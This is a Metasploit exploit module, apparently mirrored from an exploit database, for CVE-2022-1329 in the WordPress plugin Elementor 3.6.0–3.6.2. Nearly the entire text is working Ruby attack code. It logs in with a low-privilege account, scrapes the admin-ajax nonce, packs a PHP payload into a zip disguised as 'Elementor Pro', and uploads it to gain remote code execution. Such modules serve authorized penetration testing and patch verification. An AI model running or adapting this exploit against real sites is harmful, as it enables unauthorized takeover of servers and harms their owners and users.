Share
## https://sploitus.com/exploit?id=PACKETSTORM:168615
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::CmdStager  
include Msf::Exploit::Remote::HTTP::Wordpress  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Wordpress Plugin Elementor Authenticated Upload Remote Code Execution',  
'Description' => %q{  
The WordPress plugin Elementor versions 3.6.0 - 3.6.2, inclusive have a vulnerability  
that allows any authenticated user to upload and execute any PHP file. This is achieved  
by sending a request to install Elementor Pro from a user supplied zip file.  
Any user with Subscriber or more permissions is able to execute this.  
Tested against Elementor 3.6.1  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Ramuel Gall', # Discovery  
'AkuCyberSec', # Exploit-db  
'h00die' # Metasploit module  
],  
'References' => [  
['EDB', '50115'],  
['CVE', '2022-1329'],  
['URL', 'https://www.wordfence.com/blog/2022/04/elementor-critical-remote-code-execution-vulnerability/'],  
['URL', 'https://www.youtube.com/watch?v=tIhN1svzAYk'] # great video about the exploit  
],  
'Platform' => [ 'php' ],  
'Arch' => ARCH_PHP,  
'Targets' => [  
[ 'Wordpress Elementor', {}]  
],  
'Privileged' => false,  
'DisclosureDate' => '2022-03-29',  
'Notes' => {  
'Stability' => [ CRASH_SAFE ],  
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],  
'Reliability' => [ REPEATABLE_SESSION ]  
}  
)  
)  
  
register_options [  
OptString.new('USERNAME', [true, 'Username of a subscriber or higher account', '']),  
OptString.new('PASSWORD', [true, 'Password of a subscriber or higher account', '']),  
OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '/'])  
]  
end  
  
def check  
unless wordpress_and_online?  
return CheckCode::Safe('Server not online or not detected as Wordpress')  
end  
  
cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])  
CheckCode::Safe('Invalid credentials given!') unless cookie  
  
return check_plugin_version_from_readme('elementor', '3.6.3', '3.6.0')  
end  
  
def upload_file(nonce, cookie)  
zip_file = Rex::Zip::Archive.new  
payload_name = 'elementor-pro.php'  
print_status("Payload file name: #{payload_name}")  
# we end up in wp-admin, so we need to get to the right folder  
register_dirs_for_cleanup('../wp-content/plugins/elementor-pro')  
# payload must contain a Plugin Name header with the name of the plugin  
pload = "<?php\n"  
pload << "/**\n"  
pload << "* Plugin Name: Elementor Pro\n"  
pload << "*/\n"  
pload << payload.encoded.gsub('/*<?php /**/ ', '')  
pload << "\n?>"  
zip_file.add_file("/elementor-pro/#{payload_name}", pload)  
  
vars_form_data = [  
# post_data.add_part('elementor_upload_and_install_pro', nil, nil, 'form-data; name="action"')  
{  
'name' => 'action',  
'data' => 'elementor_upload_and_install_pro'  
},  
# post_data.add_part(nonce, nil, nil, 'form-data; name="_nonce"')  
{  
'name' => '_nonce',  
'data' => nonce  
},  
# post_data.add_part(zip_file.pack, 'application/x-zip-compressed', 'binary', 'form-data; name="fileToUpload"; filename="elementor-pro.zip"')  
{  
'name' => 'fileToUpload',  
'data' => zip_file.pack,  
'encoding' => 'binary',  
'filename' => 'elementor-pro.zip',  
'mime_type' => 'application/x-zip-compressed'  
}  
  
]  
  
resp = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),  
'cookie' => cookie,  
'vars_form_data' => vars_form_data  
)  
# we get a timeout on success  
if resp.nil?  
print_good('Payload Uploaded Successfully')  
return  
end  
fail_with(Failure::UnexpectedReply, 'Error uploading payload')  
end  
  
def get_nonce(cookie)  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'profile.php'),  
'cookie' => cookie  
)  
  
unless res && (res.code == 200)  
fail_with(Failure::UnexpectedReply, "Could not get the nonce (#{res.code})")  
end  
# find the RIGHT nonce, there are many nonces on the page, but we need the admin-ajax one  
res.body.scan(/admin-ajax.php","nonce":"([a-z0-9]+)"/)[0][0].to_s  
end  
  
def exploit  
cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])  
fail_with(Failure::NoAccess, 'Authentication failed') unless cookie  
cookie = cookie.gsub('wordpress_test_cookie=WP%20Cookie%20check; ', '')  
  
print_status('Looking for nonce')  
nonce = get_nonce(cookie)  
fail_with(Failure::NoAccess, 'Unable to find nonce') if nonce.nil?  
print_good("Nonce: #{nonce}")  
  
print_status('Uploading upgrade payload and activating...')  
upload_file(nonce, cookie)  
end  
end